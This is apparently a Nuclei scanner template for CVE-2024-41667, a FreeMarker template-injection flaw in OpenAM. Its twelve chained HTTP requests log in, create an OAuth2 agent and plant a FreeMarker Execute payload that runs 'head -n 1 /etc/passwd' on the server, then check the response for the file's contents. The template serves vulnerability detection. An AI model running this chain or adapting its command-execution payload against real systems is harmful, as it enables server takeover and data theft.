id: CVE-2024-41667 info: name: OpenAM<=15.0.3 FreeMarker - Template Injection author: iamnoooob,rootxharsh,pdresearch severity: high description: | OpenAM is an open access management solution. In versions 15.0.3 and prior, the `getCustomLoginUrlTemplate` method in RealmOAuth2ProviderSettings.java is vulnerable to template injection due to its usage of user input reference: - https://github.com/advisories/GHSA-7726-43hg-m23v - https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-7726-43hg-m23v - https://github.com/OpenIdentityPlatform/OpenAM/commit/fcb8432aa77d5b2e147624fe954cb150c568e0b8 - https://nvd.nist.gov/vuln/detail/CVE-2024-41667 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2024-41667 cwe-id: CWE-94 epss-score: 0.00043 epss-percentile: 0.09527 metadata: max-request: 12 verified: true tags: cve,cve2024,intrusive,openam,ssti,authenticated flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7) && http(8) && http(9) && http(10) && http(11) && http(12) variables: username: "{{username}}" password: "{{password}}" http: - raw: - | POST /openam/json/realms/root/authenticate HTTP/1.1 Host: {{Hostname}} Accept-API-Version: protocol=1.0,resource=2.1 X-Password: anonymous X-Username: anonymous Content-Type: application/json X-Requested-With: XMLHttpRequest X-NoSession: true matchers: - type: word part: body words: - "authId" internal: true extractors: - type: regex name: authId part: body group: 1 regex: - '"authId":"(.*?)"' internal: true - raw: - | POST /openam/json/realms/root/authenticate HTTP/1.1 Host: {{Hostname}} Accept-API-Version: protocol=1.0,resource=2.1 X-Password: anonymous X-Username: anonymous Content-Type: application/json Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest X-NoSession: true {"authId":"{{authId}}","template":"","stage":"DataStore1","header":"Sign in to OpenAM","infoText":["",""],"callbacks":[{"type":"NameCallback","output":[{"name":"prompt","value":"User Name:"}],"input":[{"name":"IDToken1","value":"{{username}}"}]},{"type":"PasswordCallback","output":[{"name":"prompt","value":"Password:"}],"input":[{"name":"IDToken2","value":"{{password}}"}]}]} matchers: - type: word part: body words: - "tokenId" extractors: - type: kval name: csrf part: header internal: true kval: - iPlanetDirectoryPro - raw: - | GET /openam/realm/RMRealm?RMRealm.tblDataActionHref=/&requester=XUI HTTP/1.1 Host: {{Hostname}} extractors: - type: regex name: pageSession1 part: body group: 1 regex: - 'jato.pageSession=(.*?)"' - raw: - | GET /openam/agentconfig/Agents?Agents.tabCommon.TabHref=186&jato.pageSession={{pageSession1}}&requester=XUI HTTP/1.1 Host: {{Hostname}} extractors: - type: regex name: pageSession2 part: body group: 1 regex: - '"jato.pageSession" value="(.*?)"' internal: true - raw: - | POST /openam/agentconfig/Agents HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Connection: keep-alive jato.defaultCommand=%2Fg&jato.pageSession={{pageSession2}} extractors: - type: regex name: pageSession3 part: body group: 1 regex: - '"jato.pageSession" value="(.*?)"' internal: true - raw: - | POST /openam/agentconfig/Agents HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Connection: keep-alive &Agents.tfFilter=*&Agents.tblSearch.PrimarySortNameHiddenField=tblDataName&Agents.tblSearch.PrimarySortOrderHiddenField=ascending&Agents.tblSearch.SecondarySortNameHiddenField=&Agents.tblSearch.SecondarySortOrderHiddenField=&Agents.tblSearch.AdvancedSortNameHiddenField=&Agents.tblSearch.AdvancedSortOrderHiddenField=&Agents.tblButtonAdd=New...&Agents.tblButtonDelete.DisabledHiddenField=true&Agents.tblSearch.SelectionCheckbox0.jato_boolean=false&Agents.tblDataUniversalName=id%3Dou%3Dagentonly%2Cdc%3Dopenam%2Cdc%3Dopenidentityplatform%2Cdc%3Dorg&Agents.tfGroupFilter=*&Agents.tblSearchGroup.PrimarySortNameHiddenField=tblDataGroupName&Agents.tblSearchGroup.PrimarySortOrderHiddenField=ascending&Agents.tblSearchGroup.SecondarySortNameHiddenField=&Agents.tblSearchGroup.SecondarySortOrderHiddenField=&Agents.tblSearchGroup.AdvancedSortNameHiddenField=&Agents.tblSearchGroup.AdvancedSortOrderHiddenField=&Agents.tblButtonGroupDelete.DisabledHiddenField=true&jato.defaultCommand=%2FbtnSearch&jato.pageSession={{pageSession3}} extractors: - type: regex name: pageSession4 part: body group: 1 regex: - '"jato.pageSession" value="(.*?)"' internal: true - raw: - | POST /openam/agentconfig/AgentAdd HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Connection: keep-alive AgentAdd.button1=Create&AgentAdd.tfName={{randstr}}&AgentAdd.tfPassword=test&AgentAdd.tfPasswordConfirm=test&jato.defaultCommand=%2Fbutton1&jato.pageSession={{pageSession4}} extractors: - type: regex name: pageSession5 part: body group: 1 regex: - '"jato.pageSession" value="(.*?)"' internal: true - raw: - | GET /openam/agentconfig/Agents?Agents.tblDataActionHref=id%3D{{randstr}}%2Cou%3Dagentonly%2Cdc%3Dopenam%2Cdc%3Dopenidentityplatform%2Cdc%3Dorg&jato.pageSession={{pageSession2}} HTTP/1.1 Host: {{Hostname}} extractors: - type: regex name: pageSession6 part: body group: 1 regex: - '"jato.pageSession" value="(.*?)"' internal: true - raw: - | POST /openam/agentconfig/GenericAgentProfile HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Connection: keep-alive GenericAgentProfile.button1=+Save+&GenericAgentProfile.agentgroup=&GenericAgentProfile.sunIdentityServerDeviceStatus=Active&GenericAgentProfile.userpassword=&GenericAgentProfile.userpassword_confirm=&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientType=Confidential&GenericAgentProfile.com.forgerock.openam.oauth2provider.redirectionURIs.listbox=https%3A%2F%2Fgithub.com&GenericAgentProfile.com.forgerock.openam.oauth2provider.redirectionURIs.deleteButton.DisabledHiddenField=false&GenericAgentProfile.com.forgerock.openam.oauth2provider.redirectionURIs.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.redirectionURIs.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.redirectionURIs.selectedTextField=https%3A%2F%2Fgithub.com%09https%3A%2F%2Fgithub.com&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.listbox=employeenumber&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.deleteButton.DisabledHiddenField=false&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.selectedTextField=employeenumber%09employeenumber&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.claims.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.claims.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.claims.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.claims.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.name.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.name.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.name.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.name.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.description.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.description.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.description.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.description.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.defaultScopes.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.defaultScopes.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.defaultScopes.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.defaultScopes.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.responseTypes.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.responseTypes.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.responseTypes.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.responseTypes.selectedTextField=code%09code%09token%09token%09id_token%09id_token%09code+token%09code+token%09token+id_token%09token+id_token%09code+id_token%09code+id_token%09code+token+id_token%09code+token+id_token&GenericAgentProfile.com.forgerock.openam.oauth2provider.contacts.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.contacts.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.contacts.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.contacts.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.tokenEndPointAuthMethod=client_secret_basic&GenericAgentProfile.com.forgerock.openam.oauth2provider.jwksURI=http%3A%2F%2Fkubernetes.docker.internal%3A8081%2Fopenam%2Foauth2%2Fconnect%2Fjwk_uri&GenericAgentProfile.com.forgerock.openam.oauth2provider.jwks=&GenericAgentProfile.com.forgerock.openam.oauth2provider.sectorIdentifierURI=&GenericAgentProfile.com.forgerock.openam.oauth2provider.subjectType=Public&GenericAgentProfile.com.forgerock.openam.oauth2provider.idTokenSignedResponseAlg=HS256&GenericAgentProfile.idTokenEncryptionEnabled.jato_boolean=false&GenericAgentProfile.idTokenEncryptionAlgorithm=RSA1_5&GenericAgentProfile.idTokenEncryptionMethod=A128CBC-HS256&GenericAgentProfile.idTokenPublicEncryptionKey=&GenericAgentProfile.com.forgerock.openam.oauth2provider.postLogoutRedirectURI.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.postLogoutRedirectURI.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.postLogoutRedirectURI.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.postLogoutRedirectURI.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.accessToken=&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientSessionURI=&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientName.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientName.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientName.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientName.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientJwtPublicKey=&GenericAgentProfile.com.forgerock.openam.oauth2provider.defaultMaxAge=600&GenericAgentProfile.com.forgerock.openam.oauth2provider.defaultMaxAgeEnabled.jato_boolean=false&GenericAgentProfile.com.forgerock.openam.oauth2provider.publicKeyLocation=jwks_uri&GenericAgentProfile.com.forgerock.openam.oauth2provider.authorizationCodeLifeTime=0&GenericAgentProfile.com.forgerock.openam.oauth2provider.refreshTokenLifeTime=0&GenericAgentProfile.com.forgerock.openam.oauth2provider.accessTokenLifeTime=0&GenericAgentProfile.com.forgerock.openam.oauth2provider.jwtTokenLifeTime=0&GenericAgentProfile.isConsentImplied.jato_boolean=false&jato.pageSession={{pageSession6}} matchers: - type: word part: body words: - '
Profile was updated.
' - raw: - | POST /openam/json/realms/root/realm-config/services/oauth-oidc?_action=create HTTP/1.1 Host: {{Hostname}} X-Requested-With: XMLHttpRequest Content-Type: application/json Connection: keep-alive {} matchers: - type: word part: body words: - 'message' - 'reason' - 'code' condition: and - raw: - | PUT /openam/json/realms/root/realm-config/services/oauth-oidc HTTP/1.1 Host: {{Hostname}} X-Requested-With: XMLHttpRequest Content-Type: application/json {"advancedOAuth2Config":{"customLoginUrlTemplate":"<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"head -n 1 /etc/passwd\")}"},"deviceCodeConfig":{"completionUrl":"","verificationUrl":"","devicePollInterval":5,"deviceCodeLifetime":300},"oidcSsoProviderEnabled":false,"_id":"","_type":{"_id":"oauth-oidc","name":"OAuth2 Provider","collection":false}} matchers: - type: word part: body words: - 'advancedOAuth2Config' - 'customLoginUrlTemplate' condition: and - raw: - | GET /openam/oauth2/realms/root/authorize?client_id={{randstr}}&scope=employeenumber&redirect_uri=https://github.com&response_type=code&csrf={{csrf}}&max_age=200 HTTP/1.1 Host: {{Hostname}} disable-cookie: true matchers: - type: dsl dsl: - 'contains(urldecode(location),"root:x:0:0:")' # digest: 490a004630440220682d3f37f3e29a478e319756800507b52775629fbee9ff43431d76d9c6c6795b0220681501dc7f443861d5dcfdcbb88c6214de960f156a37f5d4de91671f1d3b580b:922c64590222798bb761d5b6d8e72950